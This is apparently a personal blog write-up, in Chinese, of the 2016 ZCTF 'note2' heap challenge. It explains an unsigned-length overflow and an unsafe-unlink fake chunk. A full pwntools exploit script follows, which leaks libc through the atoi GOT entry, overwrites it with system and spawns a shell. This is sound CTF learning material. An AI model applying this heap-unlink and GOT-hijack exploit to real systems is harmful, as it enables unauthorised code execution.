2016 ZCTF note2--unlink

本文最后更新于 2024年10月23日 晚上

很久没打unlink了,上一次打unlink还是将近一年前,如此怠惰

温习了一下重命名,重新指定类型啥的ida操作(重新指定类型没用上:{)

溢出点:

其中 i 是 unsigned 类型,lenth 为 int 类型,所以两者在 for 循环相比较的时候,lenth -1 的结果会被视为 unsigned 类型

image-20240229204334021

输入0也可以符合这个判断

image-20240229204312924

unlink需要伪造堆块,保证fd->bk == p == bk->fd,同时,要保证下一个块的prev_size与伪造的堆块大小相符。

主要是为了复健,就不多描述了。

长知识:chunk0伪造的块,中间有chunk1,释放chunk2,也可以与chunk0去合并。

从管理的index_of_chunk来看,1被free掉后重新创建占据了3的位置。

伪造堆块这两种都可以

1
2
3
payload1 = b"A"*8 + p64(0x61) + p64(fd) + p64(bk) + b"b"*0x40 +p64(0x60)
#payload1 = b'A'*8+ p64(0xa1) + p64(fd) +p64(bk)

第一个是自己手动填了后一个的pre_size是0x60

第二个直接算出来到chunk2的pre_size的长度。

delete之后number没有–,所以一直在往下占用index_of_chunk。

写的十分简略,只记录了我在复健的问题,详细可以参考ctfwiki

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./note2')
#p=remote('node5.buuoj.cn',25695)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()

def debug():
gdb.attach(p)
pause(1)
index_of_chunk = 0x602120
fd = index_of_chunk - 0x18
bk = index_of_chunk - 0x10
atoi_got = 0x602088

sl(b"AA")
sl(b"BB")

def new(lenth,content):
ru("option")
sl(b'1')
ru('Input the length of the note content:(less than 128)\n')
sl(str(lenth))
ru('content')
sl(content)

def show(index):
ru('option')
sl(b"2")
rl()
sl(str(index))

def dele(index):
ru('option')
sl(b'4')
rl()
sl(str(index))

def edit(index,content):
ru('option')
sl(b'3')
rl()
sl(str(index))
rl()
sl(b'1')
rl()
sl(content)



#debug()
'''
#test of def
new(0x10,b"AAAAAAA")
edit(0,b'BBBB')
show(0)
dele(0)
'''
payload1 = b"A"*8 + p64(0x61) + p64(fd) + p64(bk) + b"b"*0x40 +p64(0x60)
#payload1 = b'A'*8+ p64(0xa1) + p64(fd) +p64(bk)
new(0x80,payload1)#0
new(0,b"AA")#1
new(0x80,b"AA")#2
#debug()
dele(1)
payload = b"A"*0x10 + p64(0xa0) + p64(0x90)
new(0,payload)
#debug()
dele(2)

edit(0,b"A"*(0x18)+p64(atoi_got)*4)
show(0)
#debug()
atoi_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))

#libc = ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('/home/kali/Desktop/libc-2.23.so')

libc_base = atoi_addr - libc.sym['atoi']
print(hex(libc_base))

one_gadget = libc_base + 0xf02a4

system_addr = libc_base + libc.sym['system']
edit(0,p64(system_addr))
sl(b'/bin/sh')

p.interactive()


2016 ZCTF note2--unlink
https://xyyr-c.github.io/2024/10/23/2016 ZCTF note2--unlink/
作者
xyyr
发布于
2024年10月23日
许可协议